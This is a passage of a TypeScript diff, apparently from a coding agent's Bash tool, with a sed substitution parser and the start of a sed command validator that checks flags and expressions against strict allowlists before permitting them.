const LPAREN_PLACEHOLDER = '\x00LPAREN\x00'
|
| 15 |
+
const RPAREN_PLACEHOLDER = '\x00RPAREN\x00'
|
| 16 |
+
const BACKSLASH_PLACEHOLDER_RE = new RegExp(BACKSLASH_PLACEHOLDER, 'g')
|
| 17 |
+
const PLUS_PLACEHOLDER_RE = new RegExp(PLUS_PLACEHOLDER, 'g')
|
| 18 |
+
const QUESTION_PLACEHOLDER_RE = new RegExp(QUESTION_PLACEHOLDER, 'g')
|
| 19 |
+
const PIPE_PLACEHOLDER_RE = new RegExp(PIPE_PLACEHOLDER, 'g')
|
| 20 |
+
const LPAREN_PLACEHOLDER_RE = new RegExp(LPAREN_PLACEHOLDER, 'g')
|
| 21 |
+
const RPAREN_PLACEHOLDER_RE = new RegExp(RPAREN_PLACEHOLDER, 'g')
|
| 22 |
+
|
| 23 |
+
export type SedEditInfo = {
|
| 24 |
+
/** The file path being edited */
|
| 25 |
+
filePath: string
|
| 26 |
+
/** The search pattern (regex) */
|
| 27 |
+
pattern: string
|
| 28 |
+
/** The replacement string */
|
| 29 |
+
replacement: string
|
| 30 |
+
/** Substitution flags (g, i, etc.) */
|
| 31 |
+
flags: string
|
| 32 |
+
/** Whether to use extended regex (-E or -r flag) */
|
| 33 |
+
extendedRegex: boolean
|
| 34 |
+
}
|
| 35 |
+
|
| 36 |
+
/**
|
| 37 |
+
* Check if a command is a sed in-place edit command
|
| 38 |
+
* Returns true only for simple sed -i 's/pattern/replacement/flags' file commands
|
| 39 |
+
*/
|
| 40 |
+
export function isSedInPlaceEdit(command: string): boolean {
|
| 41 |
+
const info = parseSedEditCommand(command)
|
| 42 |
+
return info !== null
|
| 43 |
+
}
|
| 44 |
+
|
| 45 |
+
/**
|
| 46 |
+
* Parse a sed edit command and extract the edit information
|
| 47 |
+
* Returns null if the command is not a valid sed in-place edit
|
| 48 |
+
*/
|
| 49 |
+
export function parseSedEditCommand(command: string): SedEditInfo | null {
|
| 50 |
+
const trimmed = command.trim()
|
| 51 |
+
|
| 52 |
+
// Must start with sed
|
| 53 |
+
const sedMatch = trimmed.match(/^\s*sed\s+/)
|
| 54 |
+
if (!sedMatch) return null
|
| 55 |
+
|
| 56 |
+
const withoutSed = trimmed.slice(sedMatch[0].length)
|
| 57 |
+
const parseResult = tryParseShellCommand(withoutSed)
|
| 58 |
+
if (!parseResult.success) return null
|
| 59 |
+
const tokens = parseResult.tokens
|
| 60 |
+
|
| 61 |
+
// Extract string tokens only
|
| 62 |
+
const args: string[] = []
|
| 63 |
+
for (const token of tokens) {
|
| 64 |
+
if (typeof token === 'string') {
|
| 65 |
+
args.push(token)
|
| 66 |
+
} else if (
|
| 67 |
+
typeof token === 'object' &&
|
| 68 |
+
token !== null &&
|
| 69 |
+
'op' in token &&
|
| 70 |
+
token.op === 'glob'
|
| 71 |
+
) {
|
| 72 |
+
// Glob patterns are too complex for this simple parser
|
| 73 |
+
return null
|
| 74 |
+
}
|
| 75 |
+
}
|
| 76 |
+
|
| 77 |
+
// Parse flags and arguments
|
| 78 |
+
let hasInPlaceFlag = false
|
| 79 |
+
let extendedRegex = false
|
| 80 |
+
let expression: string | null = null
|
| 81 |
+
let filePath: string | null = null
|
| 82 |
+
|
| 83 |
+
let i = 0
|
| 84 |
+
while (i < args.length) {
|
| 85 |
+
const arg = args[i]!
|
| 86 |
+
|
| 87 |
+
// Handle -i flag (with or without backup suffix)
|
| 88 |
+
if (arg === '-i' || arg === '--in-place') {
|
| 89 |
+
hasInPlaceFlag = true
|
| 90 |
+
i++
|
| 91 |
+
// On macOS, -i requires a suffix argument (even if empty string)
|
| 92 |
+
// Check if next arg looks like a backup suffix (empty, or starts with dot)
|
| 93 |
+
// Don't consume flags (-E, -r) or sed expressions (starting with s, y, d)
|
| 94 |
+
if (i < args.length) {
|
| 95 |
+
const nextArg = args[i]
|
| 96 |
+
// If next arg is empty string or starts with dot, it's a backup suffix
|
| 97 |
+
if (
|
| 98 |
+
typeof nextArg === 'string' &&
|
| 99 |
+
!nextArg.startsWith('-') &&
|
| 100 |
+
(nextArg === '' || nextArg.startsWith('.'))
|
| 101 |
+
) {
|
| 102 |
+
i++ // Skip the backup suffix
|
| 103 |
+
}
|
| 104 |
+
}
|
| 105 |
+
continue
|
| 106 |
+
}
|
| 107 |
+
if (arg.startsWith('-i')) {
|
| 108 |
+
// -i.bak or similar (inline suffix)
|
| 109 |
+
hasInPlaceFlag = true
|
| 110 |
+
i++
|
| 111 |
+
continue
|
| 112 |
+
}
|
| 113 |
+
|
| 114 |
+
// Handle extended regex flags
|
| 115 |
+
if (arg === '-E' || arg === '-r' || arg === '--regexp-extended') {
|
| 116 |
+
extendedRegex = true
|
| 117 |
+
i++
|
| 118 |
+
continue
|
| 119 |
+
}
|
| 120 |
+
|
| 121 |
+
// Handle -e flag with expression
|
| 122 |
+
if (arg === '-e' || arg === '--expression') {
|
| 123 |
+
if (i + 1 < args.length && typeof args[i + 1] === 'string') {
|
| 124 |
+
// Only support single expression
|
| 125 |
+
if (expression !== null) return null
|
| 126 |
+
expression = args[i + 1]!
|
| 127 |
+
i += 2
|
| 128 |
+
continue
|
| 129 |
+
}
|
| 130 |
+
return null
|
| 131 |
+
}
|
| 132 |
+
if (arg.startsWith('--expression=')) {
|
| 133 |
+
if (expression !== null) return null
|
| 134 |
+
expression = arg.slice('--expression='.length)
|
| 135 |
+
i++
|
| 136 |
+
continue
|
| 137 |
+
}
|
| 138 |
+
|
| 139 |
+
// Skip other flags we don't understand
|
| 140 |
+
if (arg.startsWith('-')) {
|
| 141 |
+
// Unknown flag - not safe to parse
|
| 142 |
+
return null
|
| 143 |
+
}
|
| 144 |
+
|
| 145 |
+
// Non-flag argument
|
| 146 |
+
if (expression === null) {
|
| 147 |
+
// First non-flag arg is the expression
|
| 148 |
+
expression = arg
|
| 149 |
+
} else if (filePath === null) {
|
| 150 |
+
// Second non-flag arg is the file path
|
| 151 |
+
filePath = arg
|
| 152 |
+
} else {
|
| 153 |
+
// More than one file - not supported for simple rendering
|
| 154 |
+
return null
|
| 155 |
+
}
|
| 156 |
+
|
| 157 |
+
i++
|
| 158 |
+
}
|
| 159 |
+
|
| 160 |
+
// Must have -i flag, expression, and file path
|
| 161 |
+
if (!hasInPlaceFlag || !expression || !filePath) {
|
| 162 |
+
return null
|
| 163 |
+
}
|
| 164 |
+
|
| 165 |
+
// Parse the substitution expression: s/pattern/replacement/flags
|
| 166 |
+
// Only support / as delimiter for simplicity
|
| 167 |
+
const substMatch = expression.match(/^s\//)
|
| 168 |
+
if (!substMatch) {
|
| 169 |
+
return null
|
| 170 |
+
}
|
| 171 |
+
|
| 172 |
+
const rest = expression.slice(2) // Skip 's/'
|
| 173 |
+
|
| 174 |
+
// Find pattern and replacement by tracking escaped characters
|
| 175 |
+
let pattern = ''
|
| 176 |
+
let replacement = ''
|
| 177 |
+
let flags = ''
|
| 178 |
+
let state: 'pattern' | 'replacement' | 'flags' = 'pattern'
|
| 179 |
+
let j = 0
|
| 180 |
+
|
| 181 |
+
while (j < rest.length) {
|
| 182 |
+
const char = rest[j]!
|
| 183 |
+
|
| 184 |
+
if (char === '\\' && j + 1 < rest.length) {
|
| 185 |
+
// Escaped character
|
| 186 |
+
if (state === 'pattern') {
|
| 187 |
+
pattern += char + rest[j + 1]
|
| 188 |
+
} else if (state === 'replacement') {
|
| 189 |
+
replacement += char + rest[j + 1]
|
| 190 |
+
} else {
|
| 191 |
+
flags += char + rest[j + 1]
|
| 192 |
+
}
|
| 193 |
+
j += 2
|
| 194 |
+
continue
|
| 195 |
+
}
|
| 196 |
+
|
| 197 |
+
if (char === '/') {
|
| 198 |
+
if (state === 'pattern') {
|
| 199 |
+
state = 'replacement'
|
| 200 |
+
} else if (state === 'replacement') {
|
| 201 |
+
state = 'flags'
|
| 202 |
+
} else {
|
| 203 |
+
// Extra delimiter in flags - unexpected
|
| 204 |
+
return null
|
| 205 |
+
}
|
| 206 |
+
j++
|
| 207 |
+
continue
|
| 208 |
+
}
|
| 209 |
+
|
| 210 |
+
if (state === 'pattern') {
|
| 211 |
+
pattern += char
|
| 212 |
+
} else if (state === 'replacement') {
|
| 213 |
+
replacement += char
|
| 214 |
+
} else {
|
| 215 |
+
flags += char
|
| 216 |
+
}
|
| 217 |
+
j++
|
| 218 |
+
}
|
| 219 |
+
|
| 220 |
+
// Must have found all three parts (pattern, replacement delimiter, and optional flags)
|
| 221 |
+
if (state !== 'flags') {
|
| 222 |
+
return null
|
| 223 |
+
}
|
| 224 |
+
|
| 225 |
+
// Validate flags - only allow safe substitution flags
|
| 226 |
+
const validFlags = /^[gpimIM1-9]*$/
|
| 227 |
+
if (!validFlags.test(flags)) {
|
| 228 |
+
return null
|
| 229 |
+
}
|
| 230 |
+
|
| 231 |
+
return {
|
| 232 |
+
filePath,
|
| 233 |
+
pattern,
|
| 234 |
+
replacement,
|
| 235 |
+
flags,
|
| 236 |
+
extendedRegex,
|
| 237 |
+
}
|
| 238 |
+
}
|
| 239 |
+
|
| 240 |
+
/**
|
| 241 |
+
* Apply a sed substitution to file content
|
| 242 |
+
* Returns the new content after applying the substitution
|
| 243 |
+
*/
|
| 244 |
+
export function applySedSubstitution(
|
| 245 |
+
content: string,
|
| 246 |
+
sedInfo: SedEditInfo,
|
| 247 |
+
): string {
|
| 248 |
+
// Convert sed pattern to JavaScript regex
|
| 249 |
+
let regexFlags = ''
|
| 250 |
+
|
| 251 |
+
// Handle global flag
|
| 252 |
+
if (sedInfo.flags.includes('g')) {
|
| 253 |
+
regexFlags += 'g'
|
| 254 |
+
}
|
| 255 |
+
|
| 256 |
+
// Handle case-insensitive flag (i or I in sed)
|
| 257 |
+
if (sedInfo.flags.includes('i') || sedInfo.flags.includes('I')) {
|
| 258 |
+
regexFlags += 'i'
|
| 259 |
+
}
|
| 260 |
+
|
| 261 |
+
// Handle multiline flag (m or M in sed)
|
| 262 |
+
if (sedInfo.flags.includes('m') || sedInfo.flags.includes('M')) {
|
| 263 |
+
regexFlags += 'm'
|
| 264 |
+
}
|
| 265 |
+
|
| 266 |
+
// Convert sed pattern to JavaScript regex pattern
|
| 267 |
+
let jsPattern = sedInfo.pattern
|
| 268 |
+
// Unescape \/ to /
|
| 269 |
+
.replace(/\\\//g, '/')
|
| 270 |
+
|
| 271 |
+
// In BRE mode (no -E flag), metacharacters have opposite escaping:
|
| 272 |
+
// BRE: \+ means "one or more", + is literal
|
| 273 |
+
// ERE/JS: + means "one or more", \+ is literal
|
| 274 |
+
// We need to convert BRE escaping to ERE for JavaScript regex
|
| 275 |
+
if (!sedInfo.extendedRegex) {
|
| 276 |
+
jsPattern = jsPattern
|
| 277 |
+
// Step 1: Protect literal backslashes (\\) first - in both BRE and ERE, \\ is literal backslash
|
| 278 |
+
.replace(/\\\\/g, BACKSLASH_PLACEHOLDER)
|
| 279 |
+
// Step 2: Replace escaped metacharacters with placeholders (these should become unescaped in JS)
|
| 280 |
+
.replace(/\\\+/g, PLUS_PLACEHOLDER)
|
| 281 |
+
.replace(/\\\?/g, QUESTION_PLACEHOLDER)
|
| 282 |
+
.replace(/\\\|/g, PIPE_PLACEHOLDER)
|
| 283 |
+
.replace(/\\\(/g, LPAREN_PLACEHOLDER)
|
| 284 |
+
.replace(/\\\)/g, RPAREN_PLACEHOLDER)
|
| 285 |
+
// Step 3: Escape unescaped metacharacters (these are literal in BRE)
|
| 286 |
+
.replace(/\+/g, '\\+')
|
| 287 |
+
.replace(/\?/g, '\\?')
|
| 288 |
+
.replace(/\|/g, '\\|')
|
| 289 |
+
.replace(/\(/g, '\\(')
|
| 290 |
+
.replace(/\)/g, '\\)')
|
| 291 |
+
// Step 4: Replace placeholders with their JS equivalents
|
| 292 |
+
.replace(BACKSLASH_PLACEHOLDER_RE, '\\\\')
|
| 293 |
+
.replace(PLUS_PLACEHOLDER_RE, '+')
|
| 294 |
+
.replace(QUESTION_PLACEHOLDER_RE, '?')
|
| 295 |
+
.replace(PIPE_PLACEHOLDER_RE, '|')
|
| 296 |
+
.replace(LPAREN_PLACEHOLDER_RE, '(')
|
| 297 |
+
.replace(RPAREN_PLACEHOLDER_RE, ')')
|
| 298 |
+
}
|
| 299 |
+
|
| 300 |
+
// Unescape sed-specific escapes in replacement
|
| 301 |
+
// Convert \n to newline, & to $& (match), etc.
|
| 302 |
+
// Use a unique placeholder with random salt to prevent injection attacks
|
| 303 |
+
const salt = randomBytes(8).toString('hex')
|
| 304 |
+
const ESCAPED_AMP_PLACEHOLDER = `___ESCAPED_AMPERSAND_${salt}___`
|
| 305 |
+
const jsReplacement = sedInfo.replacement
|
| 306 |
+
// Unescape \/ to /
|
| 307 |
+
.replace(/\\\//g, '/')
|
| 308 |
+
// First escape \& to a placeholder
|
| 309 |
+
.replace(/\\&/g, ESCAPED_AMP_PLACEHOLDER)
|
| 310 |
+
// Convert & to $& (full match) - use $$& to get literal $& in output
|
| 311 |
+
.replace(/&/g, '$$&')
|
| 312 |
+
// Convert placeholder back to literal &
|
| 313 |
+
.replace(new RegExp(ESCAPED_AMP_PLACEHOLDER, 'g'), '&')
|
| 314 |
+
|
| 315 |
+
try {
|
| 316 |
+
const regex = new RegExp(jsPattern, regexFlags)
|
| 317 |
+
return content.replace(regex, jsReplacement)
|
| 318 |
+
} catch {
|
| 319 |
+
// If regex is invalid, return original content
|
| 320 |
+
return content
|
| 321 |
+
}
|
| 322 |
+
}
|
src/tools/BashTool/sedValidation.ts
ADDED
|
@@ -0,0 +1,684 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import type { ToolPermissionContext } from '../../Tool.js'
|
| 2 |
+
import { splitCommand_DEPRECATED } from '../../utils/bash/commands.js'
|
| 3 |
+
import { tryParseShellCommand } from '../../utils/bash/shellQuote.js'
|
| 4 |
+
import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
|
| 5 |
+
|
| 6 |
+
/**
|
| 7 |
+
* Helper: Validate flags against an allowlist
|
| 8 |
+
* Handles both single flags and combined flags (e.g., -nE)
|
| 9 |
+
* @param flags Array of flags to validate
|
| 10 |
+
* @param allowedFlags Array of allowed single-character and long flags
|
| 11 |
+
* @returns true if all flags are valid, false otherwise
|
| 12 |
+
*/
|
| 13 |
+
function validateFlagsAgainstAllowlist(
|
| 14 |
+
flags: string[],
|
| 15 |
+
allowedFlags: string[],
|
| 16 |
+
): boolean {
|
| 17 |
+
for (const flag of flags) {
|
| 18 |
+
// Handle combined flags like -nE or -Er
|
| 19 |
+
if (flag.startsWith('-') && !flag.startsWith('--') && flag.length > 2) {
|
| 20 |
+
// Check each character in combined flag
|
| 21 |
+
for (let i = 1; i < flag.length; i++) {
|
| 22 |
+
const singleFlag = '-' + flag[i]
|
| 23 |
+
if (!allowedFlags.includes(singleFlag)) {
|
| 24 |
+
return false
|
| 25 |
+
}
|
| 26 |
+
}
|
| 27 |
+
} else {
|
| 28 |
+
// Single flag or long flag
|
| 29 |
+
if (!allowedFlags.includes(flag)) {
|
| 30 |
+
return false
|
| 31 |
+
}
|
| 32 |
+
}
|
| 33 |
+
}
|
| 34 |
+
return true
|
| 35 |
+
}
|
| 36 |
+
|
| 37 |
+
/**
|
| 38 |
+
* Pattern 1: Check if this is a line printing command with -n flag
|
| 39 |
+
* Allows: sed -n 'N' | sed -n 'N,M' with optional -E, -r, -z flags
|
| 40 |
+
* Allows semicolon-separated print commands like: sed -n '1p;2p;3p'
|
| 41 |
+
* File arguments are ALLOWED for this pattern
|
| 42 |
+
* @internal Exported for testing
|
| 43 |
+
*/
|
| 44 |
+
export function isLinePrintingCommand(
|
| 45 |
+
command: string,
|
| 46 |
+
expressions: string[],
|
| 47 |
+
): boolean {
|
| 48 |
+
const sedMatch = command.match(/^\s*sed\s+/)
|
| 49 |
+
if (!sedMatch) return false
|
| 50 |
+
|
| 51 |
+
const withoutSed = command.slice(sedMatch[0].length)
|
| 52 |
+
const parseResult = tryParseShellCommand(withoutSed)
|
| 53 |
+
if (!parseResult.success) return false
|
| 54 |
+
const parsed = parseResult.tokens
|
| 55 |
+
|
| 56 |
+
// Extract all flags
|
| 57 |
+
const flags: string[] = []
|
| 58 |
+
for (const arg of parsed) {
|
| 59 |
+
if (typeof arg === 'string' && arg.startsWith('-') && arg !== '--') {
|
| 60 |
+
flags.push(arg)
|
| 61 |
+
}
|
| 62 |
+
}
|
| 63 |
+
|
| 64 |
+
// Validate flags - only allow -n, -E, -r, -z and their long forms
|
| 65 |
+
const allowedFlags = [
|
| 66 |
+
'-n',
|
| 67 |
+
'--quiet',
|
| 68 |
+
'--silent',
|
| 69 |
+
'-E',
|
| 70 |
+
'--regexp-extended',
|
| 71 |
+
'-r',
|
| 72 |
+
'-z',
|
| 73 |
+
'--zero-terminated',
|
| 74 |
+
'--posix',
|
| 75 |
+
]
|
| 76 |
+
|
| 77 |
+
if (!validateFlagsAgainstAllowlist(flags, allowedFlags)) {
|
| 78 |
+
return false
|
| 79 |
+
}
|
| 80 |
+
|
| 81 |
+
// Check if -n flag is present (required for Pattern 1)
|
| 82 |
+
let hasNFlag = false
|
| 83 |
+
for (const flag of flags) {
|
| 84 |
+
if (flag === '-n' || flag === '--quiet' || flag === '--silent') {
|
| 85 |
+
hasNFlag = true
|
| 86 |
+
break
|
| 87 |
+
}
|
| 88 |
+
// Check in combined flags
|
| 89 |
+
if (flag.startsWith('-') && !flag.startsWith('--') && flag.includes('n')) {
|
| 90 |
+
hasNFlag = true
|
| 91 |
+
break
|
| 92 |
+
}
|
| 93 |
+
}
|
| 94 |
+
|
| 95 |
+
// Must have -n flag for Pattern 1
|
| 96 |
+
if (!hasNFlag) {
|
| 97 |
+
return false
|
| 98 |
+
}
|
| 99 |
+
|
| 100 |
+
// Must have at least one expression
|
| 101 |
+
if (expressions.length === 0) {
|
| 102 |
+
return false
|
| 103 |
+
}
|
| 104 |
+
|
| 105 |
+
// All expressions must be print commands (strict allowlist)
|
| 106 |
+
// Allow semicolon-separated commands
|
| 107 |
+
for (const expr of expressions) {
|
| 108 |
+
const commands = expr.split(';')
|
| 109 |
+
for (const cmd of commands) {
|
| 110 |
+
if (!isPrintCommand(cmd.trim())) {
|
| 111 |
+
return false
|
| 112 |
+
}
|
| 113 |
+
}
|
| 114 |
+
}
|
| 115 |
+
|
| 116 |
+
return true
|
| 117 |
+
}
|
| 118 |
+
|
| 119 |
+
/**
|
| 120 |
+
* Helper: Check if a single command is a valid print command
|
| 121 |
+
* STRICT ALLOWLIST - only these exact forms are allowed:
|
| 122 |
+
* - p (print all)
|
| 123 |
+
* - Np (print line N, where N is digits)
|
| 124 |
+
* - N,Mp (print lines N through M)
|
| 125 |
+
* Anything else (including w, W, e, E commands) is rejected.
|
| 126 |
+
* @internal Exported for testing
|
| 127 |
+
*/
|
| 128 |
+
export function isPrintCommand(cmd: string): boolean {
|
| 129 |
+
if (!cmd) return false
|
| 130 |
+
// Single strict regex that only matches allowed print commands
|
| 131 |
+
// ^(?:\d+|\d+,\d+)?p$ matches: p, 1p, 123p, 1,5p, 10,200p
|
| 132 |
+
return /^(?:\d+|\d+,\d+)?p$/.test(cmd)
|
| 133 |
+
}
|
| 134 |
+
|
| 135 |
+
/**
|
| 136 |
+
* Pattern 2: Check if this is a substitution command
|
| 137 |
+
* Allows: sed 's/pattern/replacement/flags' where flags are only: g, p, i, I, m, M, 1-9
|
| 138 |
+
* When allowFileWrites is true, allows -i flag and file arguments for in-place editing
|
| 139 |
+
* When allowFileWrites is false (default), requires stdout-only (no file arguments, no -i flag)
|
| 140 |
+
* @internal Exported for testing
|
| 141 |
+
*/
|
| 142 |
+
function isSubstitutionCommand(
|
| 143 |
+
command: string,
|
| 144 |
+
expressions: string[],
|
| 145 |
+
hasFileArguments: boolean,
|
| 146 |
+
options?: { allowFileWrites?: boolean },
|
| 147 |
+
): boolean {
|
| 148 |
+
const allowFileWrites = options?.allowFileWrites ?? false
|
| 149 |
+
|
| 150 |
+
// When not allowing file writes, must NOT have file arguments
|
| 151 |
+
if (!allowFileWrites && hasFileArguments) {
|
| 152 |
+
return false
|
| 153 |
+
}
|
| 154 |
+
|
| 155 |
+
const sedMatch = command.match(/^\s*sed\s+/)
|
| 156 |
+
if (!sedMatch) return false
|
| 157 |
+
|
| 158 |
+
const withoutSed = command.slice(sedMatch[0].length)
|
| 159 |
+
const parseResult = tryParseShellCommand(withoutSed)
|
| 160 |
+
if (!parseResult.success) return false
|
| 161 |
+
const parsed = parseResult.tokens
|
| 162 |
+
|
| 163 |
+
// Extract all flags
|
| 164 |
+
const flags: string[] = []
|
| 165 |
+
for (const arg of parsed) {
|
| 166 |
+
if (typeof arg === 'string' && arg.startsWith('-') && arg !== '--') {
|
| 167 |
+
flags.push(arg)
|
| 168 |
+
}
|
| 169 |
+
}
|
| 170 |
+
|
| 171 |
+
// Validate flags based on mode
|
| 172 |
+
// Base allowed flags for both modes
|
| 173 |
+
const allowedFlags = ['-E', '--regexp-extended', '-r', '--posix']
|
| 174 |
+
|
| 175 |
+
// When allowing file writes, also permit -i and --in-place
|
| 176 |
+
if (allowFileWrites) {
|
| 177 |
+
allowedFlags.push('-i', '--in-place')
|
| 178 |
+
}
|
| 179 |
+
|
| 180 |
+
if (!validateFlagsAgainstAllowlist(flags, allowedFlags)) {
|
| 181 |
+
return false
|
| 182 |
+
}
|
| 183 |
+
|
| 184 |
+
// Must have exactly one expression
|
| 185 |
+
if (expressions.length !== 1) {
|
| 186 |
+
return false
|
| 187 |
+
}
|
| 188 |
+
|
| 189 |
+
const expr = expressions[0]!.trim()
|
| 190 |
+
|
| 191 |
+
